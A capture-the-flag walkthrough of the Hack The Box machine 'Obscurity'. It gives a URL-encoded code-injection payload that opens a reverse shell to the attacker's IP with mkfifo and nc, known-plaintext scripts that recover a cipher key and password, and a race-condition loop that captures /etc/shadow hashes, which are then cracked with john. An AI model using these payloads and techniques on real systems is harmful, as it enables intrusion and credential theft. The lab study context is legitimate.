Obscurity

Obscurity is a Medium Difficulty linux box that deals with python exploitation and race conditions

Recon

we start off by scanning Obscurity's IP 10.10.10.168 with nmap

nmap -T4 -A -v 10.10.10.168

From our scan we get the following results

PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   closed http
8080/tcp open   http-proxy BadHTTPServer

We find that there is a webpage hosted via a BadHTTPServer on port 8080, So lets take a look at what we have

We find that we have some useful information that we can later use right on the webpage

123 Rama IX Road, Bangkok
010-020-0890
secure@obscure.htb
obscure.htb


Development
Server Dev
Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory

As well as a clue that there is a server we can access at a undisclosed location with the name SuperSecureServer.py

We can start fuzzing with https://github.com/ffuf/ffuf

./ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py -mc 200

And we do indeed get a hit!

develop                 [Status: 200, Size: 5892, Words: 1806, Lines: 171]

So we know that at 10.10.10.168:8080/develop/SuperSecureServer.py we can get the development server.

wget http://10.10.10.168:8080/develop/SuperSecureServer.py
139 exec(info.format(path)) 

On line 139 we find a exec function that does not sanitize the URI prior to including it as part of the info string. To this end we can potentially create a reverse shell.

nc -lnvp 3232
http://10.10.10.168:8080/';os.system(%22rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f%7C/bin/bash%20-i%202%3E&1%7Cnc%2010.10.14.175%203232%20%3E/tmp/f%22);x='

And yes we get a shell!

www-data@obscure:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enumerating the user dir robert we find a file encrypter/decrypter SuperSecureCrypt.py and a check.txt file that tells us Encrypting this file with your key should result in out.txt, make sure your key is correct!

In addition to this we also find a encrypted file called passwordreminder.txt so lets pull everything down!

we can use b64 to encode and copy the files to our side and decode to their original states

base64 -w0 out.txt
echo '<base64 output>' | base64 -d -w0 > out.txt

Exploit

We can use the following script to get the key

#python3 known_plaintext.py
def getkey(cipher, plain):
    position = 0
    key = ""
    for item in list(plain):
        cipherchar = cipher[position]
        plainchar = ord(item)
        key += chr((ord(cipherchar) - plainchar))
        position +=1
    print(key)
with open('out.txt') as f:
    cipher = f.read()
with open('check.txt') as f:
    plain = f.read()
getkey(cipher, plain)

alexandrovich

We can use the following script to decrypt the password

#!/usr/bin/env python3
import string

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

key = ''
pt = "Encrypting this file with your key should result in out.txt, make sure your key is correct!"

with open('out.txt', 'r', encoding='UTF-8') as f:
    ct = f.read()

for i in range(len(ct)-2):
    for c in string.printable:
        decrypted = decrypt(ct[i], c)
        if decrypted == pt[i]:
            key += c

#key = 'alexandrovich'
with open('passwordreminder.txt', 'r', encoding='UTF-8') as f:
    ct = f.read()

print(decrypt(ct, key))

Running the script we get SecThruObsFTW

We can now ssh with the credentials robert:SecThruObsFTW

ssh robert@10.10.10.168
robert@obscure:~$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),4(adm),24(cdrom),30(dip),46(plugdev)

Post Exploitation

Doing a simple sudo -l reveals that we can run sudo in the following context

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

Running the above however sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py results in a error FileNotFoundError: [Errno 2] No such file or directory: '/tmp/SSH/19WB3lNH' upon creating the tmp/SSH directory however we get Authed and have a new shell

Checking on the source code of BetterSSH we see that it writes the contents of shadow to disk, reads, auths & deletes it which gives us a chance to get root hash

To achieve this we will open a second ssh session and run

while true; do if [ "$(ls -A /tmp/SSH)" ]; then cat /tmp/SSH/*; break; fi; done

and from the original we will run sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py again

SESSION 1
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
robert
asd

SESSION 2
while true; do if [ "$(ls -A /tmp/SSH)" ]; then cat /tmp/SSH/*; break; fi; done
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7




robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7

and with that we have root's hash, now to call up john and crack it

john --wordlist=/rockyou.txt hash
mercedes         (?)

And we get root credentials root:mercedes unfortunately we cannot ssh using it but we can use su in a ssh session and get root

robert@obscure:/tmp$ su
Password: 
root@obscure:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Last updated